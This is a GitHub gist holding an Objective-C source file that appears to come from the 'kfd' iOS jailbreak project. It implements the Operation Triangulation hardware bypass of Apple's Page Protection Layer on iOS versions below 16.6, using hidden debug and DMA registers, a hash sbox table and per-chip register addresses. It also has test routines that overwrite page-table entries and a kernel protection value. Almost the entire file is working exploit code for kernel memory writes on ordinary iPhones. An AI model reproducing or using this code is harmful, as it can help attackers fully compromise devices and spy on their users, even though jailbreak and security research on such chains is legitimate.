Last active
June 14, 2024 08:29
-
-
Save opa334/1a2e7fd17e63e117c5bf83afb8a6dce3 to your computer and use it in GitHub Desktop.
PPLRW on iOS < 16.6 (Needs mapping primitive) (Credits: Operation Triangulation by @oct0xor, @bzvr_, @kucher1n)
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// | |
// pplrw.m | |
// kfd | |
// | |
// Created by Lars Fröder on 29.12.23. | |
// | |
#import <Foundation/Foundation.h> | |
#import <dlfcn.h> | |
#import <mach-o/dyld.h> | |
#import <sys/sysctl.h> | |
#import "IOSurface_primitives.h" | |
#import "intermediate.h" | |
struct shit_map { | |
uint64_t pa; | |
uint8_t *map; | |
}; | |
#define CACHED_MAP_LEN 20 | |
struct shit_map gCachedMap[CACHED_MAP_LEN]; | |
void addMapping(uint64_t addr) | |
{ | |
for (int i = 0; i < CACHED_MAP_LEN; i++) { | |
uint64_t page = addr & ~PAGE_MASK; | |
if (gCachedMap[i].pa == page) { | |
break; | |
} | |
else if (gCachedMap[i].pa == 0) { | |
gCachedMap[i].pa = page; | |
gCachedMap[i].map = IOSurface_map(gCachedMap[i].pa, 0x4000); | |
break; | |
} | |
} | |
} | |
void physwrite64_mapped(uint64_t addr, uint64_t val) | |
{ | |
addMapping(addr); | |
for (int i = 0; i < CACHED_MAP_LEN; i++) { | |
uint64_t page = addr & ~PAGE_MASK; | |
uint64_t off = addr & PAGE_MASK; | |
if (gCachedMap[i].pa == page) { | |
*(uint64_t *)(gCachedMap[i].map + off) = val; | |
} | |
} | |
} | |
uint64_t physread64_mapped(uint64_t addr) | |
{ | |
addMapping(addr); | |
for (int i = 0; i < CACHED_MAP_LEN; i++) { | |
uint64_t page = addr & ~PAGE_MASK; | |
uint64_t off = addr & PAGE_MASK; | |
if (gCachedMap[i].pa == page) { | |
return *(uint64_t *)(gCachedMap[i].map + off); | |
} | |
} | |
return 0; | |
} | |
void physwrite32_mapped(uint64_t addr, uint32_t val) | |
{ | |
addMapping(addr); | |
for (int i = 0; i < CACHED_MAP_LEN; i++) { | |
uint64_t page = addr & ~PAGE_MASK; | |
uint64_t off = addr & PAGE_MASK; | |
if (gCachedMap[i].pa == page) { | |
*(uint32_t *)(gCachedMap[i].map + off) = val; | |
break; | |
} | |
} | |
} | |
uint32_t physread32_mapped(uint64_t addr) | |
{ | |
addMapping(addr); | |
for (int i = 0; i < CACHED_MAP_LEN; i++) { | |
uint64_t page = addr & ~PAGE_MASK; | |
uint64_t off = addr & PAGE_MASK; | |
if (gCachedMap[i].pa == page) { | |
return *(uint32_t *)(gCachedMap[i].map + off); | |
} | |
} | |
return 0; | |
} | |
void ml_dbgwrap_halt_cpu(void) | |
{ | |
if ((physread64_mapped(0x206040000) & 0x90000000) != 0) { | |
return; | |
} | |
physwrite64_mapped(0x206040000, physread64_mapped(0x206040000) | (1 << 31)); | |
while ((physread64_mapped(0x206040000) & 0x10000000) == 0) { } | |
} | |
void ml_dbgwrap_unhalt_cpu(void) | |
{ | |
physwrite64_mapped(0x206040000, ((physread64_mapped(0x206040000) & 0xFFFFFFFF2FFFFFFF) | 0x40000000)); | |
if ((physread64_mapped(0x206040000) & 0x90000000) != 0) { | |
return; | |
} | |
while ((physread64_mapped(0x206040000) & 0x10000000) != 0) { } | |
} | |
void gfx_power_init(void) | |
{ | |
cpu_subtype_t cpuFamily = 0; | |
size_t cpuFamilySize = sizeof(cpuFamily); | |
sysctlbyname("hw.cpufamily", &cpuFamily, &cpuFamilySize, NULL, 0); | |
uint64_t base = 0; | |
uint32_t command = 0; | |
switch (cpuFamily) { | |
case 0x8765EDEA: // A16 | |
base = 0x23B700408; | |
command = 0x1F0023FF; | |
break; | |
case 0xDA33D83D: // A15 | |
base = 0x23B7003C8; | |
command = 0x1F0023FF; | |
break; | |
case 0x1B588BB3: // A14 | |
base = 0x23B7003D0; | |
command = 0x1F0023FF; | |
break; | |
case 0x462504D2: // A13 | |
base = 0x23B080390; | |
command = 0x1F0003FF; | |
break; | |
case 0x07D34B9F: // A12 | |
base = 0x23B080388; | |
command = 0x1F0003FF; | |
break; | |
} | |
if ((~physread32_mapped(base) & 0xF) != 0) { | |
physwrite32_mapped(base, command); | |
while(true) { | |
if ((~physread32_mapped(base) & 0xF) == 0) { | |
break; | |
} | |
} | |
} | |
} | |
void dma_ctrl_1(void) | |
{ | |
uint64_t ctrl = 0x206140108; | |
uint64_t value = physread64_mapped(ctrl); | |
physwrite64_mapped(ctrl, value | 0x8000000000000001); | |
//sleep(1); | |
while ((~physread64_mapped(ctrl) & 0x8000000000000001) != 0) { /*sleep(1);*/ } | |
} | |
void dma_ctrl_2(bool flag) | |
{ | |
uint64_t ctrl = 0x206140008; | |
uint64_t value = physread64_mapped(ctrl); | |
if (flag) { | |
if ((value & 0x1000000000000000) == 0) { | |
value |= 0x1000000000000000; | |
physwrite64_mapped(ctrl, value); | |
} | |
} | |
else { | |
if ((value & 0x1000000000000000) == 0) { | |
value &= ~0x1000000000000000; | |
physwrite64_mapped(ctrl, value); | |
} | |
} | |
} | |
void dma_ctrl_3(uint64_t value) | |
{ | |
uint64_t ctrl = 0x206140108; | |
value |= 0x8000000000000000; | |
physwrite64_mapped(ctrl, physread64_mapped(ctrl) & value); | |
while ((physread64_mapped(ctrl) & 0x8000000000000001) != 0) { /*sleep(1);*/ } | |
} | |
void dma_init(uint64_t orig) | |
{ | |
dma_ctrl_1(); | |
dma_ctrl_2(false); | |
dma_ctrl_3(orig); | |
} | |
void dma_done(uint64_t orig) | |
{ | |
dma_ctrl_1(); | |
dma_ctrl_2(true); | |
dma_ctrl_3(orig); | |
} | |
uint64_t sbox[] = { | |
0x007, 0x00B, 0x00D, 0x013, 0x00E, 0x015, 0x01F, 0x016, | |
0x019, 0x023, 0x02F, 0x037, 0x04F, 0x01A, 0x025, 0x043, | |
0x03B, 0x057, 0x08F, 0x01C, 0x026, 0x029, 0x03D, 0x045, | |
0x05B, 0x083, 0x097, 0x03E, 0x05D, 0x09B, 0x067, 0x117, | |
0x02A, 0x031, 0x046, 0x049, 0x085, 0x103, 0x05E, 0x09D, | |
0x06B, 0x0A7, 0x11B, 0x217, 0x09E, 0x06D, 0x0AB, 0x0C7, | |
0x127, 0x02C, 0x032, 0x04A, 0x051, 0x086, 0x089, 0x105, | |
0x203, 0x06E, 0x0AD, 0x12B, 0x147, 0x227, 0x034, 0x04C, | |
0x052, 0x076, 0x08A, 0x091, 0x0AE, 0x106, 0x109, 0x0D3, | |
0x12D, 0x205, 0x22B, 0x247, 0x07A, 0x0D5, 0x153, 0x22D, | |
0x038, 0x054, 0x08C, 0x092, 0x061, 0x10A, 0x111, 0x206, | |
0x209, 0x07C, 0x0BA, 0x0D6, 0x155, 0x193, 0x253, 0x28B, | |
0x307, 0x0BC, 0x0DA, 0x156, 0x255, 0x293, 0x30B, 0x058, | |
0x094, 0x062, 0x10C, 0x112, 0x0A1, 0x20A, 0x211, 0x0DC, | |
0x196, 0x199, 0x256, 0x165, 0x259, 0x263, 0x30D, 0x313, | |
0x098, 0x064, 0x114, 0x0A2, 0x15C, 0x0EA, 0x20C, 0x0C1, | |
0x121, 0x212, 0x166, 0x19A, 0x299, 0x265, 0x2A3, 0x315, | |
0x0EC, 0x1A6, 0x29A, 0x266, 0x1A9, 0x269, 0x319, 0x2C3, | |
0x323, 0x068, 0x0A4, 0x118, 0x0C2, 0x122, 0x214, 0x141, | |
0x221, 0x0F4, 0x16C, 0x1AA, 0x2A9, 0x325, 0x343, 0x0F8, | |
0x174, 0x1AC, 0x2AA, 0x326, 0x329, 0x345, 0x383, 0x070, | |
0x0A8, 0x0C4, 0x124, 0x218, 0x142, 0x222, 0x181, 0x241, | |
0x178, 0x2AC, 0x32A, 0x2D1, 0x0B0, 0x0C8, 0x128, 0x144, | |
0x1B8, 0x224, 0x1D4, 0x182, 0x242, 0x2D2, 0x32C, 0x281, | |
0x351, 0x389, 0x1D8, 0x2D4, 0x352, 0x38A, 0x391, 0x0D0, | |
0x130, 0x148, 0x228, 0x184, 0x244, 0x282, 0x301, 0x1E4, | |
0x2D8, 0x354, 0x38C, 0x392, 0x1E8, 0x2E4, 0x358, 0x394, | |
0x362, 0x3A1, 0x150, 0x230, 0x188, 0x248, 0x284, 0x302, | |
0x1F0, 0x2E8, 0x364, 0x398, 0x3A2, 0x0E0, 0x190, 0x250, | |
0x2F0, 0x288, 0x368, 0x304, 0x3A4, 0x370, 0x3A8, 0x3C4, | |
0x160, 0x290, 0x308, 0x3B0, 0x3C8, 0x3D0, 0x1A0, 0x260, | |
0x310, 0x1C0, 0x2A0, 0x3E0, 0x2C0, 0x320, 0x340, 0x380 | |
}; | |
uint64_t calculate_hash(uint64_t buffer) | |
{ | |
uint64_t acc = 0; | |
for (uint32_t i = 0; i < 8; i++) { | |
uint32_t pos = i * 4; | |
uint32_t value = physread32_mapped(buffer + pos); | |
for (int j = 0; j < 32; j++) { | |
if (((value >> j) & 1) != 0) { | |
acc ^= sbox[32 * i + j]; | |
} | |
} | |
} | |
return acc; | |
} | |
void dma_writephys512(uint64_t targetPA, uint64_t *value) | |
{ | |
uint64_t valuePA = __vtophys((uint64_t)value); | |
assert(valuePA != 0); | |
cpu_subtype_t cpuFamily = 0; | |
size_t cpuFamilySize = sizeof(cpuFamily); | |
sysctlbyname("hw.cpufamily", &cpuFamily, &cpuFamilySize, NULL, 0); | |
uint32_t i = 0; | |
uint64_t mask = 0; | |
switch (cpuFamily) { | |
case 0x8765EDEA: // A16 | |
i = 8; | |
mask = 0x7FFFFFF; | |
break; | |
case 0xDA33D83D: // A15 | |
i = 8; | |
mask = 0x3FFFFF; | |
break; | |
case 0x1B588BB3: // A14 | |
i = 0x28; | |
mask = 0x3FFFFF; | |
break; | |
case 0x462504D2: // A13 | |
i = 0x28; | |
mask = 0x3FFFFF; | |
break; | |
case 0x07D34B9F: // A12 | |
i = 0x28; | |
mask = 0x3FFFFF; | |
break; | |
} | |
uint64_t orig = physread64_mapped(0x206140108); | |
dma_init(orig); | |
uint64_t hash1 = calculate_hash(valuePA); | |
uint64_t hash2 = calculate_hash(valuePA + 0x20); | |
physwrite64_mapped(0x206150040, 0x2000000 | (targetPA & 0x3FC0)); | |
uint32_t pos = 0; | |
while (pos < 0x40) { | |
physwrite64_mapped(0x206150048, physread64_mapped(valuePA + pos)); | |
pos += 8; | |
} | |
uint64_t targetPAUpper = ((((targetPA >> 14) & mask) << 18) & 0x3FFFFFFFFFFFF); | |
physwrite64_mapped(0x206150048, targetPAUpper | (hash1 << i) | (hash2 << 50) | 0x1f); | |
dma_done(orig); | |
} | |
#define min(a,b) (((a)<(b))?(a):(b)) | |
void dma_writephysbuf(uint64_t pa, const void *input, size_t size) | |
{ | |
size_t sizeLeft = size; | |
uint8_t *inputData = (uint8_t *)input; | |
while (sizeLeft > 0) { | |
uint64_t curCacheLinePA = pa & ~0x3f; | |
uint64_t curCacheLineOff = pa & 0x3f; | |
uint64_t writeSize = min(sizeLeft, 0x40 - curCacheLineOff); | |
uint8_t curCacheLine[0x40]; | |
uint64_t curCacheLineVirt = __phystokv(curCacheLinePA); | |
kreadbuf(curCacheLineVirt, curCacheLine, sizeof(curCacheLine)); | |
memcpy(&curCacheLine[curCacheLineOff], &inputData[size-sizeLeft], writeSize); | |
dma_writephys512(curCacheLinePA, (uint64_t *)curCacheLine); | |
pa += writeSize; | |
sizeLeft -= writeSize; | |
} | |
} | |
void dma_writevirtbuf(uint64_t kaddr, const void* input, size_t size) | |
{ | |
uint64_t va = kaddr; | |
const uint8_t *data = input; | |
size_t sizeLeft = size; | |
while (sizeLeft > 0) { | |
uint64_t virtPage = va & ~PAGE_MASK; | |
uint64_t pageOffset = va & PAGE_MASK; | |
uint64_t writeSize = min(sizeLeft, PAGE_SIZE - pageOffset); | |
uint64_t physPage = __vtophys(virtPage); | |
if (physPage == 0 && errno != 0) { | |
return; | |
} | |
dma_writephysbuf(physPage + pageOffset, &data[size - sizeLeft], writeSize); | |
va += writeSize; | |
sizeLeft -= writeSize; | |
} | |
return; | |
} | |
void dma_writephys64(uint64_t pa, uint64_t val) | |
{ | |
dma_writephysbuf(pa, &val, sizeof(val)); | |
} | |
void dma_writephys32(uint64_t pa, uint32_t val) | |
{ | |
dma_writephysbuf(pa, &val, sizeof(val)); | |
} | |
void dma_writephys16(uint64_t pa, uint16_t val) | |
{ | |
dma_writephysbuf(pa, &val, sizeof(val)); | |
} | |
void dma_writephys8(uint64_t pa, uint8_t val) | |
{ | |
dma_writephysbuf(pa, &val, sizeof(val)); | |
} | |
void dma_writevirt64(uint64_t pa, uint64_t val) | |
{ | |
dma_writevirtbuf(pa, &val, sizeof(val)); | |
} | |
void dma_writevirt32(uint64_t pa, uint32_t val) | |
{ | |
dma_writevirtbuf(pa, &val, sizeof(val)); | |
} | |
void dma_writevirt16(uint64_t pa, uint16_t val) | |
{ | |
dma_writevirtbuf(pa, &val, sizeof(val)); | |
} | |
void dma_writevirt8(uint64_t pa, uint8_t val) | |
{ | |
dma_writevirtbuf(pa, &val, sizeof(val)); | |
} | |
void dma_perform(void (^block)(void)) | |
{ | |
gfx_power_init(); | |
ml_dbgwrap_halt_cpu(); | |
block(); | |
ml_dbgwrap_unhalt_cpu(); | |
} | |
bool test_pplrw_phys(void) | |
{ | |
uint64_t tte = kread64(get_current_pmap()); | |
uint64_t tte1 = kread64(tte); | |
uint64_t table = tte1 & ~0xfff; | |
uint64_t table_v = __phystokv(table); | |
uint64_t og1 = kread64(table_v + 8); | |
uint64_t og2 = kread64(table_v + 16); | |
__block bool work1 = false, work2 = false; | |
dma_perform(^{ | |
dma_writephys64(table + 8, 0x4141414141414141); | |
dma_writephys64(table + 16, 0x4242424242424242); | |
if (kread64(table_v + 8) == 0x4141414141414141) { | |
dma_writephys64(table + 8, og1); | |
work1 = true; | |
} | |
if (kread64(table_v + 16) == 0x4242424242424242) { | |
dma_writephys64(table + 16, og2); | |
work2 = true; | |
} | |
}); | |
return (work1 && work2); | |
} | |
bool test_pplrw_virt(void) | |
{ | |
uint64_t tte = kread64(get_current_pmap()); | |
uint64_t tte1 = kread64(tte); | |
uint64_t table = tte1 & ~0xfff; | |
uint64_t table_v = __phystokv(table); | |
uint64_t og1 = kread64(table_v + 8); | |
uint64_t og2 = kread64(table_v + 16); | |
__block bool work1 = false, work2 = false; | |
dma_perform(^{ | |
dma_writevirt64(table_v + 8, 0x4141414141414141); | |
dma_writevirt64(table_v + 16, 0x4242424242424242); | |
if (kread64(table_v + 8) == 0x4141414141414141) { | |
dma_writevirt64(table_v + 8, og1); | |
work1 = true; | |
} | |
if (kread64(table_v + 16) == 0x4242424242424242) { | |
dma_writevirt64(table_v + 16, og2); | |
work2 = true; | |
} | |
}); | |
return (work1 && work2); | |
} | |
int test_pplrw(void) | |
{ | |
if (test_pplrw_phys()) { | |
printf("test_pplrw_phys: success!\n"); | |
} | |
else { | |
printf("test_pplrw_phys: fail!\n"); | |
return -1; | |
} | |
if (test_pplrw_virt()) { | |
printf("test_pplrw_virt: success!\n"); | |
} | |
else { | |
printf("test_pplrw_virt: fail!\n"); | |
return -1; | |
} | |
return 0; | |
} | |
int test_kttr(void) | |
{ | |
dma_perform(^{ | |
dma_writevirt32(get_kslide() + 0xfffffff007d6b998, 0x37c3); | |
}); | |
return 0; | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment